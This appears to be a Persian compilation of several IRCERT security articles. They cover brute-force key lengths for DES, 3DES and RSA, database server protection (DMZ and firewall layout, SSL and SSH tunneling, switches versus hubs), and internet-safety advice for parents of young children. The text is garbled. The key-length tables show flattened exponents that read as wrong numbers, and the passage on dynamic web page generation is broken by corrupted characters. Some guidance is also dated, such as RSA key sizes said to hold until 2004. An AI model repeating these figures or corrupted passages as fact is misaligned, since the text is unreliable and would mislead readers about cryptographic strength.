در بیشتر انواع حمله، حمله‌کننده تمام کلیدهای ممکن را تولید و روی متن رمزشده اعمال می‌کند تا در نهایت یکی از آنها نتیجه درستی دهد. تمام الگوریتمهای رمزنگاری در برابر این نوع حمله آسیب‌پذیر هستند، اما با استفاده از کلیدهای طولانی‌تر، می‌توان کار را برای حمله‌کننده مشکل‌تر کرد. هزینه امتحان کردن تمام کلیدهای ممکن با تعداد بیتهای استفاده شده در کلید بصورت نمایی اضافه می‌شود، و این در حالیست که انجام عملیات رمزنگاری و رمزگشایی بسیار کمتر افزایش می‌یابد.

الگوریتمهای متقارن

DES که یک الگوریتم کلید متقارن است معمولا از کلیدهای ۶۴ بیتی برای رمزنگاری و رمزگشایی استفاده می‌کند. الگوریتم متن اولیه را به بلوکهای ۶۴ بیتی می‌شکند و آنها را یکی‌یکی رمز می‌کند.

3DES الگوریتم پیشرفته‌تر است و در آن الگوریتم DES سه بار اعمال می‌شود (در مقاله رمزنگاری به آن اشاره شده است). نسخه دیگری از این الگوریتم (پایدار‌تر از قبلیها) از کلیدهای ۵۶بیتی و با فضای کلید موثر ۱۶۸بیت استفاده می‌کند و سه بار عملیات رمزنگاری را انجام می‌دهد.

جدول زیر زمان لازم برای یافتن کلید در الگوریتم DES‌ را نشان میدهد.

طول کلید | تعداد کلیدهای ممکن | زمان مورد نیاز برای ۱ رمزگشایی در هر میلی‌ثانیه | زمان مورد نیاز برای ۱،۰۰۰،۰۰۰ رمزگشایی در هر میلی‌ثانیه
۳۲ بیت | ۱۰۹×۴/۳ =۲۳۲ | ۳۵/۸ دقیقه = ۲۳۱میلی‌ثانیه | ۲/۱۵ میلی‌ثانیه
۵۶ بیت | ۱۰۱۶×۷/۲ =۲۵۶ | ۱۱۴۲ سال = ۲۵۵میلی‌ثانیه | ۱۰ ساعت
۱۲۸ بیت | ۱۰۳۸×۳/۴ =۲۱۲۸ | ۱۰۲۴×۵/۴ سال = ۲۱۲۷میلی‌ثانیه | ۱۰۱۸×۵/۴ سال
۱۶۸ بیت | ۱۰۵۰×۳/۷ =۲۱۶۸ | ۱۰۳۶×۵/۹ سال = ۲۱۶۷میلی‌ثانیه | ۱۰۳۰×۵/۹ سال

ستون سوم مربوط به کامپیوترهایی است که می‌توانند در هر میلی‌ثانیه یک رمزگشایی را انجام دهند که برای کامپیوترهای امروزی توان محاسباتی معقولی محسوب می‌شود. ستون آخر برای سیستمهای بسیار بزرگ محاسباتی است بطوریکه قدرت پردازش یک میلیون برابر زیاد شده باشد.

بدون در نظر گرفتن طول کلید، الگوریتمهای متقارن قوی نیز نمی‌توانند امنیت الگوریتمهای نامتقارن را داشته باشند، زیرا کلید باید بین دو طرف ارتباط مبادله شود.

الگوریتمهای نامتقارن

عموماً سیستمی امن محسوب می‌شود که هزینه شکستن آن بیشتر از ارزش دیتایی باشد که نگهداری می‌کند. اما در ذهن داشته باشید که با افزایش قدرت محاسباتی، سیستمهای رمزنگاری، آسانتر توسط روشهای سعی و خطا مورد حمله قرار خواهند گرفت.

برای مثال، طبق گزارشی از سایت RSA، تخمین زده می شود که یک کلید ۲۱۵ بیتی می تواند با هزینه ای کمتر از ۱ میلیون دلار و یک تلاش ۸ ماهه شکسته شود. RSA توصیه میکند که کلیدهای ۲۱۵ بیتی در حال حاضر امنیت کافی ایجاد نمی کنند و باید بنفع کلیدهای ۸۶۷ بیتی برای استفاده های شخصی کنار بروند! به همین ترتیب برای استفاده شرکتها کلیدهای ۱۰۲۴ بیتی و از ۲۰۴۸ بیت برای کلیدهای فوق العاده ارزشمند استفاده شود. البته پیش بینی شده است که این مقادیر تا حداقل سال ۲۰۰۴ معتبر خواهد بود. با پیشرفتهای موجود احتمالا در این زمان نیاز به افزودن بر طول کلید ها خواهد بود.

جدول زیر نشاندهنده افراد یا گروههایی است که توانایی شکستن کلیدها با طولهای متفاوت را دارند.

طول کلید | نفوذگران بالقوه
۲۵۶ بیتی | افراد عادی
۳۸۴ بیتی | گروههای تحقیق دانشگاهی و شرکتها
۵۱۲ بیتی | گروههای دولتی با تمام امکانات
۷۶۸ بیتی | امن برای کوتاه مدت
۱۰۲۴ بیتی | امن تا آینده نزدیک
۲۰۴۸ | امن احتمالا تا چند ده سال!


IRCERT - امنيت در پايگاههاي داده اي(بخش اول): امنیت سرور - مقالات

امنيت در پايگاههاي داده اي - بخش اول

امنيت سرور

مقدمه

با گسترش استفاده از تکنولوژي وب و توسعه برنامه هايي که براي کارکرد درين بستر توليد ميشوند مباحث مربوط به امنيت پايگاههاي داده اي بعد جديدتري پيدا کرده اند. هر چند از آغاز پيداش پايگاههاي داده همواره امنيت و تامين آن يک دغدغه مهم و پياده سازي مناسب و کاراي آن يک خصوصيت بنيادي در پايگاههاي داده بوده است اما بهر روي بحث امنيت (Security)همواره در سايه مقولاتي همچون عملکرد مناسب (Functionality) ، کارايي (Performance) و قابليت اطمينان (Reliability) قرار ميگرفت. به عبارتي هنوز هم چندان عجيب نيست اگر ببينيم يک برنامه رده سازماني (Enterprise Level) با تعداد زيادي Client بدون هيچگونه ملاحظه امنيتي توليد شده و مورد استفاده باشد. حتي ميتوان درين زمينه مثالهاي جالبتري يافت. اغلب برنامه هاي Client-Server با نام کاربري sa(System Administrator) به پايگاههاي داده متصل ميشوند. از ديد امنيتي اين مطلب يک فاجعه محسوب ميشود. هيچ تغيير و يا خرابکاري اي قابل رديابي نيست، همه کاربران به همه اطلاعات دسترسي دارند و الي آخر.

آنچه ذکر شد ، در واقع تصويري از وضعيت جاري بود، که بايد از دو منظر نگريسته شود: عدم وجود مکانيزمهاي امنيتي مناسب و نيز در صورت وجود چنين مکانيزمهايي عدم بهره گيري صحيح ازانها يا نداشتن سياست امنيتي مطلوب.

اين وضعيت شايد در دنياي برنامه هاي مبتني بر تکنولوژي هاي Mainframe يا Client-Server قابل تحمل بود اما در شرايط فعلي که برنامه ها با سرعت زيادي به سمت بهره گيري از بستر وب ميروند ادامه اين روند فاجعه بار است. در حال حاضر ديگر کاربران يک برنامه به صورت بالقوه تنها کارمندان يک سازمان نيستند. هر فردي ميتواند به سادگي باز کردن يک مرورگر وب به پايگاه داده شما متصل شود و مطمئن باشيد اگر مکانيزمهاي امنيتي را رعايت نکرده باشيد ، حذف تمامي داده هاي شما حتس از عهده يک نفوذگر عادي هم بر مي آيد.

اجازه دهيد يک فرض اساسي را مطرح کنيم. مديران IT يک سازمان بر دو دسته اند: مديران نوگرايي که به صورت داوطلبانه سازمان را به سمت ارائه خدمات عمومي و گسترده هدايت ميکنند و به همين دليل تکنولوژي وب را به عنوان تنها بستر موجود براي ارائه اين خدمات ميپذيرند و مديران سنتي محافظه کاري که قابليت اطمينان و کارايي سيستم جاري را تحت هيچ شرايطي حاضر نيستند در معرض خطر قرار دهند. وب از نظر اين گروه دوم کماکان يک تکنولوژي مشکوک غير قابل اطمينان است. در واقع دلايل فني اين گروه دوم هنوز هم چشمگير و قابل اعتناست، به خصوص گروهي که از mainframe ها صحبت ميکنند. قابليت اطمينان 0.99999 هنوز هم در دنياي غير Mainframe يک روياست.

زماني که بحث امنيت در بستر وب مطرح ميشود به صورت عمده سه جزء زير مد نظر است:

  • امنيت سرور(Server Security)
  • امنيت در تصديق اعتبار(Authentication Security)
  • امنيت محاوره(Session Security)

در ادامه نگاهي به جزئيات هريک از اجزاي اين دسته بندي خواهيم داشت.

شايد بخش عمده امنيت سرور مربوط به مدير شبکه و نيز کارشناس امنيت اطلاعات باشد. ازين نظر DBA مسئوليت چنداني ندارد ، البته اين به شرطي ست که قبلا متخصص امنيت شبکه مکانيزمهاي امنيتي مناسب را جهت سرور پيش بيني کرده باشد. اين مکانيزمها محدوده وسيعي از ابزارها و راه حلهاي امنيتي را در بر ميگيرد: فايروالها ، تشخيصگرهاي نفوذ (Intrusion Detectors) ، ضد ويروسها ، ... از جمله ابزارها هستند . معماري امن شبکه و لحاظ کردن مسائل امنيتي درين معماري نيز ميتواند حائز اهميت باشد. تمامي اين مباحث زير مجموعه بحث امنيت شبکه مي باشند که در بخش آتي به صورت خيلي مختصر به آن اشاره خواهيم کرد:

معماري امن شبکه با نگاه به پايگاه داده

الف. در نظر گرفتن سخت افزار جداگانه جهت سرور وب و سرور پايگاه داده

بسياري از سرويسهاي کنوني وب و حتي شبکه هاي داخلي (Intranet) به گونه اي طراحي شده اند که سرور اصلي پايگاه داده (Back End Server) را روي همان سروري در نظر ميگيرند که سرويس وب روي آن راه اندازي شده است. البته براي اين کار چندين توجيه وجود دارد :

  • توجيه اقتصادي: در نظر گرفتن هر دو سرويس بر روي يک ماشين از جهت هزينه کل سازمان يک صرفه جويي محسوب ميشود. بايد توجه داشت که براي ارايه هر دوي اين خدمات ماشينهاي با قدرت پردازش بالا بايد در نظر گرفته شوند.
  • توجيه فني: عده اي برين عقيده اند که ارائه اين دو خدمت بر روي يک ماشين سبب بهبود کلي کارايي ميشود. استدلال اصلي محدوديت سرعت بر روي شبکه است. اين استدلال نيز توجيه چنداني ندارد زيرا حداقل سرعت شبکه هاي محلي فعلي ۱۰۰Mb/s است که بسيار بالاتر از حداکثر سرعت شبکه هاي WAN در حال حاضر است.

بنابراين از دو توجيه بالا تنها استدلال مبتني بر صرفه جويي اقتصادي کماکان ميتواتند مطرح باشد. اما خطرات اجراي اين دو سرويس بر روي يک مکاشين به حدي ست که بهتر است سازمان به جاي پذيرش اين ريسکها، هزينه اضافي مربوطه را متحمل شود. تا کنون روشهاي متعددي براي نفوذ به سرورهاي وب طراحي و اجرا شده است. بسياري از ويروسهاي کامپيوتري و نيز کرمهاي اينترنتي (Code Redو Nimda) نيز اساسا بر پايه همين ضعفها عمل ميکنند. صرف نظر از نوع سرور وبي که در نظر ميگيريد (Apache،IIS يا هر سرور ديگر) هميشه بايد اين احتمال را بدهيد که در صورت وجود يک شکاف امنيتي در سرور مربوطه، شما در مجموع کمترين ضرر را متحمل شويد.

جدا کردن فيزيکي دو سرور وب و پايگاه داده اين امر را تا حدي (دقت کنيد که فقط تا حدي و نه به طور کامل) براي شما تضمين ميکند که حتي اگر نفوذگري توانست اختيارات مدير سيستم مربوط به سرور وب را به دست بياورد نتواند به سادگي به اطلاعات موجود روي پايگاه داده نيز دست يابد.

ب. قرار ندادن پايگاه داده در DMZ:

در صورتي که از يک معماري امن براي پياده سازي شبکه خود استفاده کرده باشيد به احتمال زياد شبکه شما داراي يک بخش DMZ(Don’t Militarized Zone) خواهد بود. معمولا ارائه دهندگان خدمات عمومي را درين بخش از شبکه قرار ميدهند. بعنوان مثال سرورهاي وب، سرورهاي ميل ... که همگي جهت خدمات عمومي بکار ميروند درين بخش از شبکه قرار دارند.

ايده عمومي داشتن يک بخش DMZ ساده ست: سرورهايي که خدمات عمومي بيرون سازماني ارايه ميدهند نيازمند سطح کمتري از امنيت هستند. در واقع همه ميتوانند به آنها دسترسي داشته باشند. اين دسترسي همگاني به هيچ وجه لازم نيست در مورد تمامي منابع شبکه اعمال شود. بنابرين منابع عمومي شبکه را در بخشي از شبکه قرار ميدهند که حساسيت امنيتي کمتري نسبت به آن وجود دارد. اين همان بخش DMZ است. با توجه به مطالب بالا بسيار بديهي به نظر ميرسد سرور پايگاه داده را بايد در همان بخش DMZ قرار دهيم زيرا که عموما اين سرور نيز مسئوليت ارائه خدمات همگاني را بعهده دارد. اما قضيه در باره سرور پايگاه داده تا حدي متفاوت است. اين سرور گرچه خدمات همگاني نيز عرضه ميکند اما تنها بخشي از داده هاي آن ممکن است جنبه همگاني داشته باشد در حالي که عمده آن در اغلب اوقات سري ست. بعنوان مثال سروري که اطلاعات مربوط به کارت اعتباري افراد را نگهداري ميکند از اهميت فوق العاده اي برخوردار است و هرگونه دسترسي به کل داده هاي آن ميتواند فاجعه بار باشد.

بنابراين بر خلاف ديد اوليه به اين نتيجه ميرسيم که پايگاه داده نميتواند و نبايد که در بخش DMZ قرار گيرد. اما راهکار جداسازي آن ازين بخش چيست؟

شکل ۱: پايگاه داده و DMZ

راه حل ايده آل براي اين جداسازي به شرح زير است: به صورت عام از يک فايروال اصلي براي ايمني کل شبکه و جداسازي آن از دنياي بيرون استفاده ميشود. اين فايروال در قسمت بيروني DMZ قرار دارد و داراي قواعد خاص خود است. بدلايلي که در بخش پيش ذکر شد که کلا عبارت بود از نياز به ارائه خدمات عمومي ،اين فايروال نميتواند کل ترافيک ورودي را محدود کند و ناچار است يک سياست (Policy) حداکثري را اعمال کند.

اما در داخل خود شبکه ، مابيت LAN داخلي و DMZ از فايروال دومي استفاده ميشود. اين فايروال دوم در حالت ايده آل تمامي ترافيک ورودي را سد ميکند بجز ترافيک ورودي از وب سرور به پايگاه داده. با اين تمهيد خاص هم پچايگاه داده خدمات عمومي خود را ارائه ميدهد و هم دستيابي عموم را به آن سد کرده ايم. درين صورت يک نفوذ گر حتي پس ازينکه کنترل کامل سرور وب را در اختيار گرفت ناچار است از قواعد سختگيرانه فايروال دوم نيز عبور کند و تازه پس ازان بايد بتواند به سرور پايگاه داده نيز نفوذ کند که انجام اين هر دو کار بسيار دشوار ميباشد و ريسک چنين شبکه اي عملا پايين مي باشد.

اما شايد در مقابل روش ما استدلالي اينچنين ارائه شود: ميتوان تنها با استفاده از يک فايروال امنيت را تامين کرد. روش آنهم اينست که براي سرورهاي پايگاه داده از IP مجازي استفاده کنيم. در واقع اين سرورها پشت يک NAT قرار داشته باشند. درين صورت نفوذگر اساسا از وجود پايگاه داده خبر ندارد تا بخواهد به آن نفوذ کند. اين استدلال يک ابراد عمده دارد و آنهم اينست که اگر نفوذ گر بتواند کنترل سرور وب را در اختيار بگيرد عملا در همان شبکه اي قرار گرفته است که سرور پايگاه داده دران قرار دارد و داراي همان رنج IP ميشود. بنابراين پس ازينکار در واقع تمهيد قبلي ما بلااثر ميشود و نفوذ گر ميتواند بسادگي مانند يک کاربر داخلي شبکه ما عمل کند.

حال که استدلالات فوق را پذيرفته ايم ميتوانيم کمي ايده آل تر باشيم و شبکه را ايمن تر کنيم. فرض کنيد که يک نفوذگر بتواند از لايه اول امنيتي شما عبور کرده وارد DMZ شود. اگر اين نفوذ به دليل نقص قواعد امنيتي فايروال شماره يک باشد احتمال نفوذ همين شخص به لايه دوم بسيار پايين است. اما اگر اين نفوذ به دليل وجود شکاف امنيتي خاصي بر روي فايروال باشد چطور؟ فرض کنيد به عنوان مثال هردو فايروال شما Check Point است. آنوقت نفوذگر بهمان سادگي که از لايه اول عبور کرده از لايه دوم امنيتي شما نيز خواهد گذشت چون هر دو فايروال ما از يک نوع است و طبيعتا شکاف امنيتي هردو يکسان است. بنابراين ميتوان پيشنهاد داد که فرضا اگر فايروال لاه اول شما Check Point است در لايه دوم بهتر است از PIX استفاده کنيد. اين مطلب باعث امنيت بالاتر شبکه شما خواهد شد.

اين روش گرچه موثر است اما از عهده هرسازماني بر نمي آيد. نگهداري، بروزسازي و پيکربندي فايروال عموما خودش يک تخصص خاص و بالنسبه گرانقيمت است. بنابراين وقتي از دو نوع فايروال استفاده ميکنيد دو تخصص جداگانه را در سازمان خود نياز خواهيد داشت که اين مطلب باعث دو برابر شدن هزينه نيروي انساني شما خواهد شد. علاوه برينکه اصولا خود سخت افزار فايروال هم گرانقيمت است و اصولا مشخص نيست که سازمان شما حاضر باشد چنين هزينه اي را متقبل شود (حتي با فرض دانستن ريسک امنيتي بالاي آن)

راه حل ديگري که ميتوان براي جداسازي بخش امن شبکه ارائه داد استفاده از بيش از يک کارت شبکه در فايروال است (شکل ۲)

شکل ۲: استفاده از دو کارت شبکه براي جداسازي DMZ

همانطور که مشخص است درين روش توسط يک فايروال، DMZ از بخش امن شبکه جداسازي ميشود. تنها ترافيکي که حق عبور از اينترفيس اول (eth1) به اينترفيس امن (eth2) را دارد ترافيک ورودي از وب سرور به سرور پايگاه داده ميباشد. اين روش بسيار ارزان تر از روش قبلي ست اما مشخصا امنيت آن در حد امنيت روش قبل نيست و علاوه برآن ممکن است فايروال موجود ما عملا از چندين کارت شبکه پشتيباني نکند.

علاوه بر دو راهي که در فوق براي جداسازي پايگاه داده از مابقي شبکه ارائه داديم راه حل سومي هم وجود دارد: اينکه اساسا پايگاه داده را از مابقي شبکه جدانکنيم! دقت کنيد که با توجه به هزينه و نيز اندازه سازمان ممکن است جداسازي امکان پذير نباشد و حتي مجبور شويم که اين دو سرور را برروي يک ماشين اجرا کنيم. حتي درين صورت نيز بهتر است حداقل کارهايي که جهت ايمني مضاعف پايگاه داده از دستمان بر مي آيد انجام دهيم. بعنوان مثال ميتوانيم از يک فايروال نرم افزاري ارزان قيمت جهت ايمني بيشتر استفاده کنيم. بهر حال اين راه حل توصيه نميشود مگر در شرايط اجبار.

ج. رمز نگاري اطلاعات مابين سرور وب و سرور پايگاه داده

براي جلوگيري از سرقت اطلاعات در بين راه(Sniffing) عموما از روشهاي رمز نگاري استفاده ميشود. متداول ترين روش تحت وب براي انجام اين منظور استفاده از پروتکل SSL است. عموم اطلاعات امن که بر روي اينترنت منتقل ميشوند از همين پروتکل استفاده ميکنند . بعنوان مثال انتقال اطلاعات شناسايي با سرورهاي معروف ايميل، انتقال اطلاعات مربوط به کارت اعتباري و غيره.

تا بدينجا اين پروتکل که اغلب سرورهاي وب و نيز مرورگرها ازان پشتيباني ميکنند سطحي از امنيت را تامين ميکند. اما آيا همين کافي ست؟

اغلب اين اشتباه پيش مي آيد که همين سطح از رمز نگاري را در مقابل حمله Sniffing کافي ميدانند. بايد دقت کرد که SSL به صورت عام تنها براي رمزنگاري اطلاعات مابين Client و سرور وب به کار ميرود و به صورت عادي اطلاعات مابين وب سرور و سرور پايگاه داده به صورت عادي و بدون رمزنگاري (Plain Text) منتقل ميشوند. بنابراين حتي اگر همه جوانب را در شبکه بيروني رعايت کرده باشيم، يک نفوذگر داخلي به سادگي ميتواند اطلاعات در حال انتقال مابين اين دو سرور را شنود کند. اين مطلب زماني بسيار جدي ميشود که بدانيم بر اساس داده هاي موجود، بالاتر از ۶۰٪ حملات موجود حملات درون سازماني مي باشد.

چاره کار استفاده از يک روش رمز نگاري مابين سرور وب و سرور پايگاه داده است. اغلب سرور هاي پايگاه داده امروزه از SSL حمايت ميکنند. MS SQL Server2000 ، Oracle،Sybase ازين جمله اند. البته استفاده از SSL براي ارتباط مابين اين دو سرور لازمه اش اينست که برنامه اصلي شما (Web Application) با همين ملاحظه طراحي و پياده سازي شده باشد.

اما در صورتي که برنامه شما از قبل موجود باشد يا از SSL پشتيباني نکند يا به هر صورت شما مايل به ايجاد هزينه اضافي نباشيد چه؟ آيا راه حل ديگري براي رمزنگاري مابين دو سرور وجود دارد؟ خوشبختانه چنين راه حلي وجود دارد: استفاده از SSH يا يک برنامه مشابه.

اصولا SSH برنامه اي شبيه Telnet است اما نسخه امن آن. يکي از قابليتهاي SSH ايجاد يک تونل امن است. به اين صورت که ميتوان برنامه SSH را به گونه اي اجرا کرد که بر روي يک پورت شنود کند کل اطلاعات آن را رمز کرده به کامپيوتر مقصد ارسال کند و آنجا پس از تبديل به حالت عادي به پورت مقصد تحويل دهد. با استفاده از اين روش (SSH Port Forwarding) يک تونل امن به صورت شفاف مابين دو سرور ايجاد شده است(شکل ۳).

شکل ۳: استفاده از SSH براي برقراري تونل امن

مزيت استفاده ازين روش اينست که نياز به هيچگونه تغييري در سرورها و يا برنامه ها ندارد و تنها توسط چند خط دستور قابل اجراست.

د. عدم استفاده از Hub و بهره گيري از Switch

به صورت عادي زماني که از Hub استفاده ميکنيم تمامي اطلاعات عبوري در هريک از سيستمهاي موجود در شبکه داخلي قابل شنود است. يک نفوذ گر معمولي با استفاده از يکي از ابزارهاي Sniffing ميتواند اينترفيس شبکه با به حالت Promiscuous برده ، تمامي اطلاعات در حال جابجايي بر روي LAN را دريافت کند. البته استفاده از رمز نگاري خطر بالقوه بهره گيري ازين روش را کم ميکند اما هيچگاه نميتوان مطمئن بود که کل اطلاعات رمز نگاري شده است. بنابراين بهتر است حتي المقدور امکان بهره گيري از Sniffing را بر روي شبکه کاهش دهيم. استفاده از سوپيچها به جاي هاب يکي از روشهاي حل اين مساله است. با استفاده از سوئيچ در واقع يک مدار مجازي (Virtual Circuit) مابين دو نود در حال مکالمه ايجاد ميشود و ديگران به اطلاعات در حال انتقال مابين آن دو دسترسي ندارند.

 ۲-۶. ارائه امن اطلاعات

از ديد کلي امنيت اطلاعات براي ارائه خدمات اطلاع رساني بر روي وب به صورت عمده دو راه وجود دارد:

  • توليد اطلاعات به صورت استاتيک
  • توليد اطلاعات به صورت ديناميک

۱-۲-۶. توليد اطلاعات به صورت استاتيک و مسائل امنيتي آن

معمولترين نوع دسترسي به اطلاعات در اينترنت استفاده از صفحات HTML است. هنوز هم بسياري از متخصصين، اين روش در دسترس گذاري اطلاعات (Web Publishing) را به روشهاي ديگر ترجيح ميدهند. البته دلايل اصلي آنها بيشتر مربوط به سادگي و قابليت انعطاف اين روش است.

درين روش اطلاعات يک بار توليد ميشود. توليد اطلاعات (صفحات HTML) ميتواند به صورت دستي يا به صورت اتوماتيک توسط برنامه هاي معمولي Client-Server انجام شود. پس از انجام اين فاز کليه اطلاعات بر روي سايت و سرور اصلي قرار ميگيرد (Upload).

امنيت اين روش به سادگي تامين ميشود. کافيست که اشخاص نام فايلهاي HTML را ندانند، درين صورت هرگز به آنها دسترسي نخواهند داشت. اينکار با استفاده از مکانيزم ساده اي صورت ميگيرد. عموم وب سرورها براي دايرکتوريهاي مختلف حق دسترسي تعريف ميکنند که يکي ازين حقوق دسترسي حق مشاهده محتويات يک دايرکتوري است. در صورتي که کاربري اين حق را نداشته باشد از اسامي فايلها بي خبر خواهد بود و در نتيجه قادر به مشاهده آنها نيست.

استفاده ازين روش مزايا و معايب خاص خود را دارد. مزيت آن امنيت بالاست. در واقع درينجا هيچ ارتباز اکيتيوي با سرور پايگاه داده وجود ندارد. اطلاعات به صورت برون خط (Offline) بر روي سرور وب بارگذاري ميشوند و پس ازان هيچ ارتباطي مابين کاربر عادي و چپايگاه داده وجود نخواهد داشت. بدين ترتيب خطر حملات به پايگاه داده کاهش چشمگيري مي يابد. اما از ديگر سو مديريت حجم انبوه اطلاعات با استفاده ازين روش بسيار دشوار ميباشد . ضمن اينکه قابليت انعطاف روش نيز بسيار محدود است. در واقع زماني که ازين روش استفاده ميکنيم هدف اصلي خدمت رساني و سهولت استفاده را قرباني امنيت کرده ايم.

۲-۲-۶. توليد اطلاعات به صورت ديناميک

اين روش متداول ترين شيوه ايست که امروزه جهت ارائه خدمات بر بستر وب مورد استفاده قرار ميگيرد. درين روش صفحات موجود بر روي سرور وب عملا داراي هيچ اطلاعاتي نميباشند يا داراي حداقل اطلاعات هستند. تمامي اطلاعات در پايگاه داده است. به محض دريافت هر تقاضايي توسط سرور وب ، صفحات مورد درخواست او به صورت ديناميک از طريق جستجوي (Query) مناسب در پايگاه داده توليد ميشود.

براي پياده سازي اين روش طيف وسيعي از تکنولوژيها وجود دارد. ASP،JSP،PHP،CGI،ISAPI... و چندين روش ديگري که عم��ما حول همين توليد�ديناميک اطلاعات ��ر محيط�وب طراحي شده اند. �منيت هريک ازين زبانها و روشها خود � موضوع ب�ث مفصل و جداگانه �يست اما از ديد بح� حاضر چند نکته مه� را با�د مد نظر داشت:

    �
  • � تا ک��ون شکافهاي � جدي امنيتي در مورد هر يک ازين �وشها شناخته شده ��ست و با وجود � حل اغلب آن��ا هنوز هم هيچکدام�آنها امنيت بالاي�� را به تنهايي � تضمين نميکنند.
    • �
  • � با و�ود نکته � بالا، چون هدف ��صلي ارائه خدمت يا�سرويس است در بسيا�ي موارد � چاره اي بجز اس��فاده از يکي ازين ��وشها نداريم.
  • هنگام انتخ��ب هري� ازين روشها بايد �لاحظات امنيتي مر�وط به ابزارهاي مديريت � توسعه را نيز لحاظ کنيم.
    • �
�

� طي بخش گذشته عموما توجه ما معطوف به اين مطلب بود که چگونه جلوي دستيابي افراد غير مجاز به سيستم و اطلاعات گرفته شود. اما هيچ گاه به اين مطلب اشاره نکرديم که مجاز يا غير مجاز بودن افراد را چگونه تشخيص ميدهيم. در واقع روش شناسايي افراد در يک سيستم امن چگونه ميتواند باشد.

ابتدايي ترين روشي که درين زمينه ميتوان در نظر گرفت تصديق اعتبار ساده بر حسب نام کاربري و کلمه عبور است. گرچه پياده سازي اين روش سنتي بسيار ساده است اما امنيتي هم که تامين ميکند حداقل امنيت ممکن است. درين روش کاربر يکبار در سيستم شناسايي ميشود و پس ازان اطلاعات به صورت عادي بر روي شبکه جريان مي يابد. مشکلات اين روش را ميتوان به صورت زير خلاصه کرد:

· تمامي اطلاعات در بين راه قابل شنود هستند.

  • بند بالا به خصوص شامل خود نام کاربري و کلمه عبور هم ميشود. به عبارتي اين دو هم به سادگي ميتوانند توسط شخص ثالثي در بين راه شنود شده و بعدا مورد استفاده قرار گيرند.
  • در شرايطي که نام کاربري و کلمه عبور لو رود کل امنيت سيستم دچار اخلال خواهد شد.

در واقع اين روش تنها تضمين کننده حداقل غير قابل قبولي از امنيت در تصديق اعتبار افراد است. بنابراين بايد به دنبال روشهاي جايگزيني بود که معايب فوق را نداشته باشند.

�


﻿ IRCERT - ده نکته برای حفظ امنیت کودکان در اینترنت - مقالات

۱۰ نکته برای حفظ امنیت کودکان در اینترنت

اینترنت می تواند مکانی گسترده برای کودکان باشد تا بیاموزند، سرگرم شوند، با دوستان مدرسه ای گپ بزنند، و با آسودگی خیال به مکاشفه بپردازند. اما درست همانند دنیای واقعی، وب هم می تواند برای کودکان خطرناک باشد. قبل از اینکه به کودکانتان اجازه دهید که بدون نظارت شما به اینترنت متصل شوند، یک سری از قوانین باید تعیین شوند.

اگر نمی دانید که از کجا آغاز کنید، در اینجا چندین ایده در مورد چیزهایی که باید با کودکانتان بحث کنید تا به آنها در مورد استفاده ایمن تر از اینترنت بیاموزید، آورده شده است:

۱- کودکانتان را تشویق کنید که تجارب اینترنتی خود را با شما سهیم شوند. همراه با کودکانتان از اینترنت لذت ببرید.

۲- به فرزندانتان بیاموزید که به غرایز خود اعتماد کنند. اگر در مورد چیزی احساس ناخوشایندی دارند، باید به شما درباره آن بگویند.

۳- اگر فرزندانتان به اتاق های گفتگو سر می زنند، از برنامه های پیام رسان فوری و بازی های ویدویی آنلاین استفاده می کنند، یا فعالیت های دیگری که به نامی برای مشخص کردن خودشان نیاز است، انجام می دهند، به آنها در انتخاب این نام کمک کنید و مطمئن شوید که این نام باعث افشاء هیچ اطلاعات شخصی درموردشان نمی شود.

۴- به فرزندانتان تأکید کنید که هرگز آدرستان، شماره تلفن یا سایر اطلاعات شخصی شامل جایی که به مدرسه می روند یا جایی که دوست دارند بازی کنند را ارسال نکنند.

۵- به کودکان بیاموزید که تفاوت بین درست و غلط در اینترنت همانی است که در دنیای واقعی وجود دارد.

۶- به کودکان بیاموزید که چگونه به دیگر استفاده کنندگان از اینترنت، احترام بگذارند. مطمئن شوید که آنها می دانند قواعد رفتار خوب فقط به دلیل اینکه پشت کامپیوتر هستند، تغییر نمی کند.

۷- به فرزندان تأکید کنید که به دارایی های دیگر کاربران احترام بگذارند. برایشان توضیح دهید که کپی های غیرقانونی از کارهای دیگران – مانند موسیقی، بازیهای تصویری و سایر برنامه ها- مانند دزدیدن آنان از یک فروشگاه است.

۸- به کودکان بگویید که هرگز نباید دوستان اینترنتی خود را شخصاً ملاقات کنند. توضیح دهید که دوستان اینترنتی ممکن است همانی که خود می گویند، نباشند.

۹- به کودکانتان بیاموزید که هرچه که می خوانند و می بینند، صحیح نیست. آنها را تشویق کنید که در مورد صحت مطالب اینترنت از شما سؤال کنند.

۱۰- فعالیت های اینترنتی کودکان خود را با نرم افزارهای پیشرفته کنترل کنید. کنترل های اینچنینی می توانند به شما در تصفیه کردن محتویات مضر، آگاهی از سایت هایی که کودکانتان سر می زنند و فهمیدن آنچه انجام می دهند، کمک کنند.


﻿ IRCERT - راهنمای والدین با توجه به رده سنی کودکان - مقالات

راهنمای والدین با توجه به رده سنی کودکان

آیا کودکانتان در آغاز اتصال به اینترنت قرار دارند یا تجربه کار با وب را دارند؟ در هر صورت شما می توانید آنها را در استفاده از اینترنت، همچنان که رشد می کنند و در گروه های سنی متفاوتی قرار می گیرند، راهنمایی کنید.

این مقاله به شما کمک می کند که بفهمید کودکان در سنین مختلف از اینترنت چه استفاده هایی می کنند. بنابراین شما می توانید درباره آنچه که به بهبود امنیت کودکانتان در استفاده از اینترنت کمک می کند، بیشتر بیاموزید.

سنین ۲ تا ۴ سالگی:

در طی این دوره، استفاده از اینترنت مستلزم حضور والدین است. والدین می توانند کودکانشان را روی پای خود بنشانند و به عکس های خانوادگی نگاه کنند، از یک دوربین وب برای ارتباط با خویشاوندان استفاده کنند و یا به سایت هایی که مخصوص کودکان طراحی شده، سر بزنند.

سنین ۵ تا ۶ سالگی:

زمانی که کودکان به ۵ سالگی می رسند، احتمالاً خودشان می خواهند به مکاشفه در اینترنت بپردازند. مهم است که والدین کودکانشان را برای حرکت در اینترنت به صورت امن تر در هنگامی که کودکان استفاده از اینترنت را به تنهایی آغاز می کنند، راهنمایی کنند. بعضی از سایت ها نیز برای این گروه سنی کودکان یعنی زیر ۸ سال طراحی شده اند و ابزار مناسبی برای جستجو در اختیار کودکان قرار می دهند.

سنین ۷ تا ۸ سالگی:

